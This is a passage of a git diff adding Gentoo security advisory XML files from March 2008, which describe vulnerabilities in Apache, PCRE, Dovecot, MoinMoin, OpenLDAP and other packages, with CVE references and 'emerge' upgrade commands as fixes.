+    graph_xport.php (CVE-2008-0785).</li>
+    </ul>
+    <p>
+    Furthermore, CRLF injection attack are possible via unspecified vectors
+    (CVE-2008-0786).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities, leading to path
+    disclosure, Cross-Site Scripting attacks, SQL injection, and HTTP
+    response splitting.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cacti users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/cacti-0.8.7b&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0783">CVE-2008-0783</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0784">CVE-2008-0784</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0785">CVE-2008-0785</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0786">CVE-2008-0786</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 25 Feb 2008 22:16:20 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 07 Mar 2008 23:16:40 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Mar 2008 23:16:51 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-19.xml b/xml/htdocs/security/en/glsa/glsa-200803-19.xml
new file mode 100644
index 00000000..4433cc97
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-19.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-19">
+  <title>Apache: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Apache.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>March 11, 2008</announced>
+  <revised>March 12, 2008: 02</revised>
+  <bug>201163</bug>
+  <bug>204410</bug>
+  <bug>205195</bug>
+  <bug>209899</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.2.8</unaffected>
+      <vulnerable range="lt">2.2.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Adrian Pastor and Amir Azam (ProCheckUp) reported that the HTTP Method
+    specifier header is not properly sanitized when the HTTP return code is
+    "413 Request Entity too large" (CVE-2007-6203). The mod_proxy_balancer
+    module does not properly check the balancer name before using it
+    (CVE-2007-6422). The mod_proxy_ftp does not define a charset in its
+    answers (CVE-2008-0005). Stefano Di Paola (Minded Security) reported
+    that filenames are not properly sanitized within the mod_negotiation
+    module (CVE-2008-0455, CVE-2008-0456).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to visit a malicious URL or send
+    specially crafted HTTP requests (i.e using Adobe Flash) to perform
+    Cross-Site Scripting and HTTP response splitting attacks, or conduct a
+    Denial of Service attack on the vulnerable web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.2.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6203">CVE-2007-6203</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6422">CVE-2007-6422</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0005">CVE-2008-0005</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0455">CVE-2008-0455</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0456">CVE-2008-0456</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 13 Jan 2008 14:04:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Mar 2008 12:30:36 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Mar 2008 12:31:50 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-20.xml b/xml/htdocs/security/en/glsa/glsa-200803-20.xml
new file mode 100644
index 00000000..2166c286
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-20.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-20">
+  <title>International Components for Unicode: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities have been discovered in the International Components
+    for Unicode, possibly resulting in the remote execution of arbitrary code
+    or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">icu</product>
+  <announced>March 11, 2008</announced>
+  <revised>May 28, 2009: 03</revised>
+  <bug>208001</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/icu" auto="yes" arch="*">
+      <unaffected range="ge">3.8.1-r1</unaffected>
+      <unaffected range="rge">3.6-r2</unaffected>
+      <vulnerable range="lt">3.8.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    International Components for Unicode is a set of C/C++ and Java
+    libraries providing Unicode and Globalization support for software
+    applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Will Drewry (Google Security) reported a vulnerability in the regular
+    expression engine when using back references to capture \0 characters
+    (CVE-2007-4770). He also found that the backtracking stack size is not
+    limited, possibly allowing for a heap-based buffer overflow
+    (CVE-2007-4771).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could submit specially crafted regular expressions to
+    an application using the library, possibly resulting in the remote
+    execution of arbitrary code with the privileges of the user running the
+    application or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All International Components for Unicode users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/icu-3.8.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4770">CVE-2007-4770</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4771">CVE-2007-4771</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 20 Feb 2008 08:30:44 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 20 Feb 2008 08:30:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Mar 2008 12:40:50 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-21.xml b/xml/htdocs/security/en/glsa/glsa-200803-21.xml
new file mode 100644
index 00000000..4234474b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-21.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-21">
+  <title>Sarg: Remote execution of arbitrary code</title>
+  <synopsis>
+    Sarg is vulnerable to the execution of arbitrary code when processed with
+    untrusted input files.
+  </synopsis>
+  <product type="ebuild">sarg</product>
+  <announced>March 12, 2008</announced>
+  <revised>March 12, 2008: 01</revised>
+  <bug>212208</bug>
+  <bug>212731</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/sarg" auto="yes" arch="*">
+      <unaffected range="ge">2.2.5</unaffected>
+      <vulnerable range="lt">2.2.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sarg (Squid Analysis Report Generator) is a tool that provides many
+    informations about the Squid web proxy server users activities: time,
+    sites, traffic, etc.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sarg doesn't properly check its input for abnormal content when
+    processing Squid log files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker using a vulnerable Squid as a proxy server or a
+    reverse-proxy server can inject arbitrary content into the "User-Agent"
+    HTTP client header, that will be processed by sarg, which will lead to
+    the execution of arbitrary code, or JavaScript injection, allowing
+    Cross-Site Scripting attacks and the theft of credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sarg users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/sarg-2.2.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1167">CVE-2008-1167</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1168">CVE-2008-1168</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Mar 2008 16:52:09 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 09 Mar 2008 18:03:52 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 09 Mar 2008 21:03:08 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-22.xml b/xml/htdocs/security/en/glsa/glsa-200803-22.xml
new file mode 100644
index 00000000..864dfb57
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-22.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-22">
+  <title>LIVE555 Media Server: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been reported in LIVE555 Media
+    Server.
+  </synopsis>
+  <product type="ebuild">live</product>
+  <announced>March 13, 2008</announced>
+  <revised>March 13, 2008: 01</revised>
+  <bug>204065</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-plugins/live" auto="yes" arch="*">
+      <unaffected range="ge">2008.02.08</unaffected>
+      <vulnerable range="lt">2008.02.08</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LIVE555 Media Server is a set of libraries for multimedia streaming.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported a signedness error in the
+    parseRTSPRequestString() function when processing short RTSP queries.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted RTSP query to the
+    vulnerable server, resulting in a crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LIVE555 Media Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-plugins/live-2008.02.08&quot;</code>
+    <p>
+    Note: Due to ABI changes, applications built against LIVE555 Media
+    Server such as VLC or MPlayer should also be rebuilt.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6036">CVE-2007-6036</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Mar 2008 16:52:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Mar 2008 12:26:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Mar 2008 12:27:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-23.xml b/xml/htdocs/security/en/glsa/glsa-200803-23.xml
new file mode 100644
index 00000000..d7bef873
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-23.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-23">
+  <title>Website META Language: Insecure temporary file usage</title>
+  <synopsis>
+    Multiple insecure temporary file vulnerabilities have been discovered in
+    the Website META Language.
+  </synopsis>
+  <product type="ebuild">wml</product>
+  <announced>March 15, 2008</announced>
+  <revised>March 15, 2008: 01</revised>
+  <bug>209927</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/wml" auto="yes" arch="*">
+      <unaffected range="ge">2.0.11-r3</unaffected>
+      <vulnerable range="lt">2.0.11-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Website META Language is a free and extensible Webdesigner's off-line
+    HTML generation toolkit for Unix.
+    </p>
+  </background>
+  <description>
+    <p>
+    Temporary files are handled insecurely in the files
+    wml_backend/p1_ipp/ipp.src, wml_contrib/wmg.cgi, and
+    wml_backend/p3_eperl/eperl_sys.c, allowing users to overwrite or delete
+    arbitrary files with the privileges of the user running the program.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Local users can exploit the insecure temporary file vulnerabilities via
+    symlink attacks to perform certain actions with escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Restrict access to the temporary directory to trusted users only.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Website META Language users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/wml-2.0.11-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0665">CVE-2008-0665</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0666">CVE-2008-0666</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 11 Mar 2008 22:05:35 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Mar 2008 22:05:48 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 15 Mar 2008 20:18:51 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-24.xml b/xml/htdocs/security/en/glsa/glsa-200803-24.xml
new file mode 100644
index 00000000..293c4414
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-24.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-24">
+  <title>PCRE: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in PCRE, allowing for
+    the execution of arbitrary code and Denial of Service.
+  </synopsis>
+  <product type="ebuild">libpcre glib</product>
+  <announced>March 17, 2008</announced>
+  <revised>March 17, 2008: 02</revised>
+  <bug>209067</bug>
+  <bug>209293</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libpcre" auto="yes" arch="*">
+      <unaffected range="ge">7.6-r1</unaffected>
+      <vulnerable range="lt">7.6-r1</vulnerable>
+    </package>
+    <package name="dev-libs/glib" auto="yes" arch="*">
+      <unaffected range="ge">2.14.6</unaffected>
+      <unaffected range="lt">2.14.0</unaffected>
+      <vulnerable range="lt">2.14.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PCRE is a Perl-compatible regular expression library. GLib includes a
+    copy of PCRE.
+    </p>
+  </background>
+  <description>
+    <p>
+    PCRE contains a buffer overflow vulnerability when processing a
+    character class containing a very large number of characters with
+    codepoints greater than 255.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability by sending a
+    specially crafted regular expression to an application making use of
+    the PCRE library, which could possibly lead to the execution of
+    arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PCRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libpcre-7.6-r1&quot;</code>
+    <p>
+    All GLib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/glib-2.14.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0674">CVE-2008-0674</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 26 Feb 2008 20:45:26 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 01 Mar 2008 06:12:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Mar 2008 14:06:55 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-25.xml b/xml/htdocs/security/en/glsa/glsa-200803-25.xml
new file mode 100644
index 00000000..70954c1c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-25.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-25">
+  <title>Dovecot: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities in Dovecot allow for information disclosure and
+    argument injection.
+  </synopsis>
+  <product type="ebuild">dovecot</product>
+  <announced>March 18, 2008</announced>
+  <revised>March 18, 2008: 01</revised>
+  <bug>212336</bug>
+  <bug>213030</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/dovecot" auto="yes" arch="*">
+      <unaffected range="ge">1.0.13-r1</unaffected>
+      <vulnerable range="lt">1.0.13-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dovecot is a lightweight, fast and easy to configure IMAP and POP3 mail
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dovecot uses the group configured via the "mail_extra_groups" setting,
+    which should be used to create lockfiles in the /var/mail directory,
+    when accessing arbitrary files (CVE-2008-1199). Dovecot does not escape
+    TAB characters in passwords when saving them, which might allow for
+    argument injection in blocking passdbs such as MySQL, PAM or shadow
+    (CVE-2008-1218).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers can exploit the first vulnerability to disclose
+    sensitive data, such as the mail of other users, or modify files or
+    directories that are writable by group via a symlink attack. Please
+    note that the "mail_extra_groups" setting is set to the "mail" group by
+    default when the "mbox" USE flag is enabled.
+    </p>
+    <p>
+    The second vulnerability can be abused to inject arguments for internal
+    fields. No exploitation vectors are known for this vulnerability that
+    affect previously stable versions of Dovecot in Gentoo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dovecot users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/dovecot-1.0.13-r1&quot;</code>
+    <p>
+    This version removes the "mail_extra_groups" option and introduces a
+    "mail_privileged_group" setting which is handled safely.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1199">CVE-2008-1199</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1218">CVE-2008-1218</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 11 Mar 2008 18:35:36 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 12 Mar 2008 01:34:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 18 Mar 2008 11:19:55 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-26.xml b/xml/htdocs/security/en/glsa/glsa-200803-26.xml
new file mode 100644
index 00000000..cb5b587d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-26.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-26">
+  <title>Adobe Acrobat Reader: Insecure temporary file creation</title>
+  <synopsis>
+    An insecure temporary file creation vulnerability has been discovered in
+    Adobe Acrobat Reader.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>March 18, 2008</announced>
+  <revised>March 18, 2008: 01</revised>
+  <bug>212367</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">8.1.2-r1</unaffected>
+      <vulnerable range="lt">8.1.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Acrobat Reader is a PDF reader released by Adobe.
+    </p>
+  </background>
+  <description>
+    <p>
+    SUSE reported that the "acroread" wrapper script does not create
+    temporary files in a secure manner when handling SSL certificates
+    (CVE-2008-0883).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to overwrite
+    arbitrary files via a symlink attack on temporary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Acrobat Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-8.1.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0883">CVE-2008-0883</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 16 Mar 2008 13:19:39 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 17 Mar 2008 11:44:20 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 18 Mar 2008 13:28:58 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-27.xml b/xml/htdocs/security/en/glsa/glsa-200803-27.xml
new file mode 100644
index 00000000..14ef5075
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-27.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-27">
+  <title>MoinMoin: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities have been reported in MoinMoin Wiki Engine.
+  </synopsis>
+  <product type="ebuild">moinmoin</product>
+  <announced>March 18, 2008</announced>
+  <revised>March 18, 2008: 01</revised>
+  <bug>209133</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/moinmoin" auto="yes" arch="*">
+      <unaffected range="ge">1.6.1</unaffected>
+      <vulnerable range="lt">1.6.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MoinMoin is an advanced, easy to use and extensible Wiki Engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered:
+    </p>
+    <ul>
+    <li>
+    A vulnerability exists in the file wikimacro.py because the
+    _macro_Getval function does not properly enforce ACLs
+    (CVE-2008-1099).</li>
+    <li>
+    A directory traversal vulnerability exists in the userform action
+    (CVE-2008-0782).</li>
+    <li>
+    A Cross-Site Scripting vulnerability exists in the login action
+    (CVE-2008-0780).</li>
+    <li>
+    Multiple Cross-Site Scripting vulnerabilities exist in the file
+    action/AttachFile.py when using the message, pagename, and target
+    filenames (CVE-2008-0781).</li>
+    <li>
+    Multiple Cross-Site Scripting vulnerabilities exist in
+    formatter/text_gedit.py (aka the gui editor formatter) which can be
+    exploited via a page name or destination page name, which trigger an
+    injection in the file PageEditor.py (CVE-2008-1098).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities can be exploited to allow remote attackers to
+    inject arbitrary web script or HTML, overwrite arbitrary files, or read
+    protected pages.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MoinMoin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/moinmoin-1.6.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0780">CVE-2008-0780</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0781">CVE-2008-0781</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0782">CVE-2008-0782</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1098">CVE-2008-1098</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1099">CVE-2008-1099</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 26 Feb 2008 09:02:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Feb 2008 09:03:06 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 15 Mar 2008 19:53:09 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-28.xml b/xml/htdocs/security/en/glsa/glsa-200803-28.xml
new file mode 100644
index 00000000..3a99b192
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-28.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-28">
+  <title>OpenLDAP: Denial of Service vulnerabilities</title>
+  <synopsis>
+    Multiple Denial of Service vulnerabilities have been reported in OpenLDAP.
+  </synopsis>
+  <product type="ebuild">openldap</product>
+  <announced>March 19, 2008</announced>
+  <revised>March 19, 2008: 01</revised>
+  <bug>197446</bug>
+  <bug>209677</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nds/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.3.41</unaffected>
+      <vulnerable range="lt">2.3.41</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP Software is an open source implementation of the Lightweight
+    Directory Access Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following errors have been discovered in OpenLDAP:
+    </p>
+    <ul>
+    <li>
+    Tony Blake discovered an error which exists within the normalisation of
+    "objectClasses" (CVE-2007-5707).</li>
+    <li>
+    Thomas Sesselmann reported that, when running as a proxy-caching server
+    the "add_filter_attrs()" function in servers/slapd/overlay/pcache.c
+    does not correctly NULL terminate "new_attrs" (CVE-2007-5708).</li>
+    <li>
+    A double-free bug exists in attrs_free() in the file
+    servers/slapd/back-bdb/modrdn.c, which was discovered by Jonathan
+    Clarke (CVE-2008-0658).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can cause a Denial of Serivce by sending a malformed
+    "objectClasses" attribute, and via unknown vectors that prevent the
+    "new_attrs" array from being NULL terminated, and via a modrdn
+    operation with a NOOP (LDAP_X_NO_OPERATION) control.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenLDAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nds/openldap-2.3.41&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5707">CVE-2007-5707</uri>
